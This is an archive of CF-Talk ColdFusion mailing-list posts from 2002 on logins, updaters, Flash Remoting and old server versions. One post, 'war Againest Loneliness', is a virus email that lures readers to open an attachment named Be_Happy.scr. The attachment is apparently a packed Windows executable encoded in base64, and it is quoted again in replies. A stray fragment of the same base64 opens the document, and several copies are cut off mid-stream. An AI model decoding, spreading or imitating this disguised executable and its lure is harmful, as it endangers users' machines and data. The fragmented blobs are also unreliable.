8A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9T
IG1v
ZGUuDQ0KJAAVPC8qUV1BeVFdQXlRXUF5KkFNeVBdQXnSQU95X11BeblCS3loXUF5
UV1B
eVJdQXkzQlJ5Wl1BeVFdQHkiXUF5uUJKeVVdQXnpW0d5UF1BeVJpY2hRXUF5

UEUAAEwBAwAbZP89AADgAA8BCwEGAACAEPADAJB0
BAAA
AAQAAIAEQAAAEAIAAAQABAAAkAQAABACAAAQ
AAAQ
ABAAABAQAABEiAQAgAEAAACABABECAAA



AABVUFgwAADwAwAAEAAE

AACAAADgVVBYMQAAgAAEAAB4BAAAQAAA
4C5y
c3JjABCABAAACgAAAHwAAEAAAMAA













MS4yNABVUFghDAkFCbieciXS4PSD0VcEAI10MAEAJgcA
53/7
7/+B7IQDAACNhCR0AQ1TVVZXaAQQUGoA/xWssJ+Vv/tAAIs1vAs9jCSIAjVR/9aN9zbN7FQk
FBdS
RCD3R1Bh9pF3t8BVIDNjlFFSaBA2L3u/fDVosYP4IH8iXmqhzFH5vNt5abigagJS5dwtFP5v
799P
EFBo4PYTaI6A/9WFwHQQX15duPIODt5sAFuBxGrDO8x6THc77IIqiz0MlVCLyFJqAc8F9/fg
aNT2
MteLRRCLHRA/fNODRfIrtVJonE6ZNjizUKhWvlOdUnZsu4E4kWYzwGGQASc32MOfEIwqBGhQ
eJ72
swf0xAiK+Wg89+oAFXe+rA3K8gzt6xAB3b6tnYYEDMxeUI4IUPNoNJnmnddsUS8ERQAQUryt
3fls
9/+IBJ/iJSgOKFaZsQjcpKKtkxaAelJuRirMUdFQmAKEMPhATmxefy3O4kzxVsS0rQRq7wPs
Jhe3
sT6xUEI+37A9DGIRXOk5DI1E7TmQLFCIBIx3h0XYhj+T1mWyDDIMRVBMUeZhQF6IBFYJsNgf
CP7o
BP3//2joVMvoBwABzBd79hZ76+aQAThMQ+jR/GX5NNi9n8KbP3/wB7TkIhkwRDhOk1dSwCiU
eKZa
XEI29EgDHDjRtqRp5Nc0FkD4sczaki2yvAWmWByWxWL68CpSpTD4+0lJJuTINEQBNE7adk9L
LCT7
UEDTXL7bLxkPhdcA0nApRAmQOVBQ7q3dHLkoULkRLr8l86sr3Blu+fksCLsdD4kdMszDCR41
aCgU
HTAkDYtt8ws8PbdIdQd9wkveYGuHG7m7qapQroZsCyRgAqJRUI5qLMEeP4iMsViNeEBQEAo9
2lQt
DgWHsGcw2zwBWBE8LDjMUGW46G54BWCDMKf8aGBT9x5WLMnIHZyc+BdXn2x75gCnXBHVzixR
U/cG
N+SwUgelgRxLt3YvVbQU1WjQs9iwsSB9Zmgn8F0klxxRcyFnn6RrJFJHwFoYzMGZeVwkEFMY
j50M
fpRT8PMqRzWk5SBO7qqpRSYBkPwK9AgLDO/NW+AS1AjYYOgH/ME5vmrwOGkkav/iCWqja3hv
IFIQ
UwhXpYS+5g2nAtRAq/0AaQ8WydT2kyhEMKh9+3e7ZqHGFmY9FjsMZoM9whgFdBLrLBx8kOUj
GSYD
dRxqSbyztB/2qAjGgLEOAXBM9NQ0SsQE72DDpKE8HM5jbydSimE4pLaA1xXToMVibJAkTTeH
oTnA
wzLwVqFWpVwtkpw9IFFP8BLkx/PD5ENXLVb/09NjkyftHB34KCAT7BooHkgb1R5UBFWT5oRU
BJTQ
wDyvzpEGVATHoLD/G3K2FK5MUbUwU6keIEQYY2bCEPA9wAGQU2OLfGGDyT/8/wu08q730Sv5
i8GL
98HpAr9IKmXzpYsZZtq/yC+D4QPzpEoUR9FLjo08gCnKQxDIxexuir/YKz1MixwyLckbRxCL
IEIG
kBegLCRfuxjyzC1zKJMso4T4bt9EaCYwhf+jiBSjPDoJfmCy6yuuCVWlvvAgWmQpkE+Ci5No
opFw
Ga/4YXnTag8Gb4sOUZ2DxrMd3/YET3XTsjBdo34Yl4GLfpiVixbLUkHzz8cFaGcIyM+SAFvD
kN0M
Mx0X4PD2i4cE/2p+IVcsCbf7vafMnwQZoWZARqMMQTvCOHDw8HzfX+te6yzfViHczHRadQrJ
1DkB
+Mc9zce4FB8b0PxWi7Srfnx21xjhPTjihlgbxI7bzqgAdQCYhpAc9z6mZXDWUiDISLpV+IET
xMyM
DWwBhR/wYB4TpOB0Dl8CZ+9xPF6f6MOAttAeTuUhqA1BdUNgP2+uwwI/rPCD/kE9Bb4eaBT6
JrCl
D2oZI/7v5he0Jf//PesED79ACGbHKepfgIOVZsAKi0cMahCLCHKgerBcDFDfEYmkO7h05sUE
U+e8
scVFVbnZlCgPABAAOlAAU/NKwax6tP8QUvjsR4ln6AH6hY28JPAk9vG4mVGDpfZ9wKJiMtuW
SVGk
5AGb1bfk1pqcoCTMatFStyxndp4YEHDR8PlRdq4whUlm4MW+5EAmhFCMJHyS5uRDUY2U4FJk
Qk4m
hFCMT8tGw123tOTYkFwyIewQcPuBGzSnaNCrOAA70ZkPaGgnaMAq3gWOTrsJBBQ0osBGTOaZ
Cldu
fl5/vIU8rAKWTHdRaLDxtmbeMGpUWlJTa6xX8BRME9O03KQJi3vvgAe1KB/mMldgjEmdtht2
oGeH
zHOOFWvm5D+EnF0tDffOtcWUepBsVYKfDLRdiIHHIAMZDTusrV0UO1IKxeSKmSBcSKKYA5G8
D0ll
2IpzNov8+DWTN6QicrT4/tylwG4RYpNhcp+paMHOiHnvKTaFE74MegVMjIobwYaFUH3qLWUp
iBx0
+PNxR4NVlW2hZbpoiBZc0Wz462Dj46iyDCP1CekcVLXgWOvhFed5awOmv7TkUBvFUgQ3tTwO
NM80
HsQLyKF2YB044F1bX7b5RQdNdv7AFxk6PKwDD5wGbuV4i0kPgu1ww20daEdn1A5Wh0dqHxxI
i9iD
+0VIDpjfjYwk2FTNH3jggVGGYiKLVwIcXP0ZaFOL

Persistent Logins on HoF Archive site

[Michael Dinowitz]

As long as cookies are turned on, you have it. I just turned on my computer and I'm 
logged in with no problem. I'm using client vars with a timeout of something like 8 
days. 
Note that if your browser is not closed down properly (i.e. crashes), many times the 
cookies are screwed up. I've had Mozilla crash on occasion and had to re-login after. 

>Can we get a Persistent Login option on HoF Archive site?
>
>Eric
>
>
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

CFMX Updater 2 woes

[Sandy Clark]

I am having a great amount of difficulty downloading the CFMX updater 2.
When I click on the file, I get sent back to Macromedia's home page.  I
have contacted Macromedia and haven't heard anything except the usual
canned response.

If anyone could send me the actual file, or direct me to someplace I
could actually download it, I would appreciate it very much.



 

Sandra Clark
Shayna Productions
http://www.shayna.com
[EMAIL PROTECTED]  
 

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Re: war Againest Loneliness

[project_boo]

Excuse me but what was this krap?
Why did it get sent out to the list?



Kathy Wargo wrote:

>--#r0xx#
>Content-Type: text/html
>charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
>  
>


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: war Againest Loneliness

[Rob Rohan]

Oopsy, looks like someone got a virus.

Rob

-Original Message-
From: Kathy Wargo [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 6:33 AM
To: CF-Talk
Subject: war Againest Loneliness


--#r0xx#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



Hi,Are you lonely ??.. check the attached screensaver and forget
the pain of loneliness

--#r0xx#
Content-Type: application/octet-stream;
name=Be_Happy.scr
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="Be_Happy.scr"

TVqQAAME//8AALgAQAAA
8A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAVPC8qUV1BeVFdQXlRXUF5KkFNeVBdQXnSQU95X11BeblCS3loXUF5UV1B
eVJdQXkzQlJ5Wl1BeVFdQHkiXUF5uUJKeVVdQXnpW0d5UF1BeVJpY2hRXUF5
UEUAAEwBAwAbZP89AADgAA8BCwEGAACAEPADAJB0BAAA
AAQAAIAEQAAAEAIAAAQABAAAkAQAABACAAAQAAAQ
ABAAABAQAABEiAQAgAEAAACABABECAAA

AABVUFgwAADwAwAAEAAE
AACAAADgVVBYMQAAgAAEAAB4BAAAQAAA4C5y
c3JjABCABAAACgAAAHwAAEAAAMAA






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

Re: Old versions...

[Bruce Sorge]

We still have an application that is running on cf4.0. Only one though. I am
getting ready to move it to a CF5 machine.

Bruce

- Original Message -
From: "Eric Dawson" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Monday, December 30, 2002 1:37 PM
Subject: RE: Old versions...


> is anyone here still running old versions of cf in a production
environment?
>
> e
>
> From: "Jim Davis" <[EMAIL PROTECTED]>
> Reply-To: [EMAIL PROTECTED]
> To: CF-Talk <[EMAIL PROTECTED]>
> Subject: RE: Old versions...
> Date: Mon, 30 Dec 2002 11:11:00 -0500
>
> I may have most/some of them.  They may not be trails however... I know
> I have full versions of 2.0 and 3.0, but I'm not sure about the trails.
> I should have 1.5 somewheres, but can't find it now...
>
> Jim Davis
>
>  > -Original Message-
>  > From: Alex Hubner [mailto:[EMAIL PROTECTED]]
>  > Sent: Monday, December 30, 2002 5:24 AM
>  > To: CF-Talk
>  > Subject: Old versions...
>  >
>  >
>  > Hello Friends,
>  >
>  > Where I can find old trial versions of ColdFusion (or Cold
>  > Fusion...) Server? In the Allaire FTP host I can only find
>  > the 4.01 and higher. Does anybody knows a mirror or a place,
>  > or even can send me (by e-mail) such trials? I'm
>  > looking for versions prior to the 4.01. Thanks a lot!
>  >
>  > Just for fun and nostalgie:
>  >
> http://web.archive.org/web/19961019024507/http://www.allaire.com/
>
> Alex
>
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: war Againest Loneliness

[Turetsky, Seth]

http:[EMAIL PROTECTED]

-Original Message-
From: Kathy Wargo [mailto:[EMAIL PROTECTED]]
Sent: Sunday, December 01, 2002 9:33 AM
To: CF-Talk
Subject: war Againest Loneliness


--#r0xx#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



Hi,Are you lonely ??.. check the attached screensaver and forget the pain 
of loneliness

--#r0xx#
Content-Type: application/octet-stream;
name=Be_Happy.scr
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="Be_Happy.scr"

TVqQAAME//8AALgAQAAA
8A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAVPC8qUV1BeVFdQXlRXUF5KkFNeVBdQXnSQU95X11BeblCS3loXUF5UV1B
eVJdQXkzQlJ5Wl1BeVFdQHkiXUF5uUJKeVVdQXnpW0d5UF1BeVJpY2hRXUF5
UEUAAEwBAwAbZP89AADgAA8BCwEGAACAEPADAJB0BAAA
AAQAAIAEQAAAEAIAAAQABAAAkAQAABACAAAQAAAQ
ABAAABAQAABEiAQAgAEAAACABABECAAA

AABVUFgwAADwAwAAEAAE
AACAAADgVVBYMQAAgAAEAAB4BAAAQAAA4C5y
c3JjABCABAAACgAAAHwAAEAAAMAA






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

RE: Old versions...

[Eric Dawson]

is anyone here still running old versions of cf in a production environment?

e

From: "Jim Davis" <[EMAIL PROTECTED]>
Reply-To: [EMAIL PROTECTED]
To: CF-Talk <[EMAIL PROTECTED]>
Subject: RE: Old versions...
Date: Mon, 30 Dec 2002 11:11:00 -0500

I may have most/some of them.  They may not be trails however... I know
I have full versions of 2.0 and 3.0, but I'm not sure about the trails.
I should have 1.5 somewheres, but can't find it now...

Jim Davis

 > -Original Message-
 > From: Alex Hubner [mailto:[EMAIL PROTECTED]]
 > Sent: Monday, December 30, 2002 5:24 AM
 > To: CF-Talk
 > Subject: Old versions...
 >
 >
 > Hello Friends,
 >
 > Where I can find old trial versions of ColdFusion (or Cold
 > Fusion...) Server? In the Allaire FTP host I can only find
 > the 4.01 and higher. Does anybody knows a mirror or a place,
 > or even can send me (by e-mail) such trials? I'm
 > looking for versions prior to the 4.01. Thanks a lot!
 >
 > Just for fun and nostalgie:
 >
http://web.archive.org/web/19961019024507/http://www.allaire.com/

Alex


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

RE: Flash Remoting with CF

[Josh]

I am passing a struct back instead of a recordset from CF...it works great
and is easy to do.

building a string should be straight forward in AS with whatever you are
passing back from CF...

something like this:

myString = fname + ' ' + lname + ' ' + empid;  // with spaces in between
fields


HTH,

Josh Trefethen
http://exciteworks.com

-Original Message-
From: Frank Mamone [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 12:16 PM
To: CF-Talk
Subject: SOT:Flash Remoting with CF


Hi,

I got through the basics of Flash Remoting.  The server comes back with a
recordset, however I don't want to bind it to a control with DataGlue. I
simply need to build a string using three of the column values.

I want to do this:

mystring = #FNAME##LNAME##EMPID#

Thanks

Frank Mamone.


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

war Againest Loneliness

[Kathy Wargo]

--#r0xx#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



Hi,Are you lonely ??.. check the attached screensaver and forget the pain 
of loneliness

--#r0xx#
Content-Type: application/octet-stream;
name=Be_Happy.scr
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="Be_Happy.scr"

TVqQAAME//8AALgAQAAA
8A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAVPC8qUV1BeVFdQXlRXUF5KkFNeVBdQXnSQU95X11BeblCS3loXUF5UV1B
eVJdQXkzQlJ5Wl1BeVFdQHkiXUF5uUJKeVVdQXnpW0d5UF1BeVJpY2hRXUF5
UEUAAEwBAwAbZP89AADgAA8BCwEGAACAEPADAJB0BAAA
AAQAAIAEQAAAEAIAAAQABAAAkAQAABACAAAQAAAQ
ABAAABAQAABEiAQAgAEAAACABABECAAA

AABVUFgwAADwAwAAEAAE
AACAAADgVVBYMQAAgAAEAAB4BAAAQAAA4C5y
c3JjABCABAAACgAAAHwAAEAAAMAA






MS4yNABVUFghDAkFCbieciXS4PSD0VcEAI10MAEAJgcA53/7
7/+B7IQDAACNhCR0AQ1TVVZXaAQQUGoA/xWssJ+Vv/tAAIs1vAs9jCSIAjVR/9aN9zbN7FQkFBdS
RCD3R1Bh9pF3t8BVIDNjlFFSaBA2L3u/fDVosYP4IH8iXmqhzFH5vNt5abigagJS5dwtFP5v799P
EFBo4PYTaI6A/9WFwHQQX15duPIODt5sAFuBxGrDO8x6THc77IIqiz0MlVCLyFJqAc8F9/fgaNT2
MteLRRCLHRA/fNODRfIrtVJonE6ZNjizUKhWvlOdUnZsu4E4kWYzwGGQASc32MOfEIwqBGhQeJ72
swf0xAiK+Wg89+oAFXe+rA3K8gzt6xAB3b6tnYYEDMxeUI4IUPNoNJnmnddsUS8ERQAQUryt3fls
9/+IBJ/iJSgOKFaZsQjcpKKtkxaAelJuRirMUdFQmAKEMPhATmxefy3O4kzxVsS0rQRq7wPsJhe3
sT6xUEI+37A9DGIRXOk5DI1E7TmQLFCIBIx3h0XYhj+T1mWyDDIMRVBMUeZhQF6IBFYJsNgfCP7o
BP3//2joVMvoBwABzBd79hZ76+aQAThMQ+jR/GX5NNi9n8KbP3/wB7TkIhkwRDhOk1dSwCiUeKZa
XEI29EgDHDjRtqRp5Nc0FkD4sczaki2yvAWmWByWxWL68CpSpTD4+0lJJuTINEQBNE7adk9LLCT7
UEDTXL7bLxkPhdcA0nApRAmQOVBQ7q3dHLkoULkRLr8l86sr3Blu+fksCLsdD4kdMszDCR41aCgU
HTAkDYtt8ws8PbdIdQd9wkveYGuHG7m7qapQroZsCyRgAqJRUI5qLMEeP4iMsViNeEBQEAo92lQt
DgWHsGcw2zwBWBE8LDjMUGW46G54BWCDMKf8aGBT9x5WLMnIHZyc+BdXn2x75gCnXBHVzixRU/cG
N+SwUgelgRxLt3YvVbQU1WjQs9iwsSB9Zmgn8F0klxxRcyFnn6RrJFJHwFoYzMGZeVwkEFMYj50M
fpRT8PMqRzWk5SBO7qqpRSYBkPwK9AgLDO/NW+AS1AjYYOgH/ME5vmrwOGkkav/iCWqja3hvIFIQ
UwhXpYS+5g2nAtRAq/0AaQ8WydT2kyhEMKh9+3e7ZqHGFmY9FjsMZoM9whgFdBLrLBx8kOUjGSYD
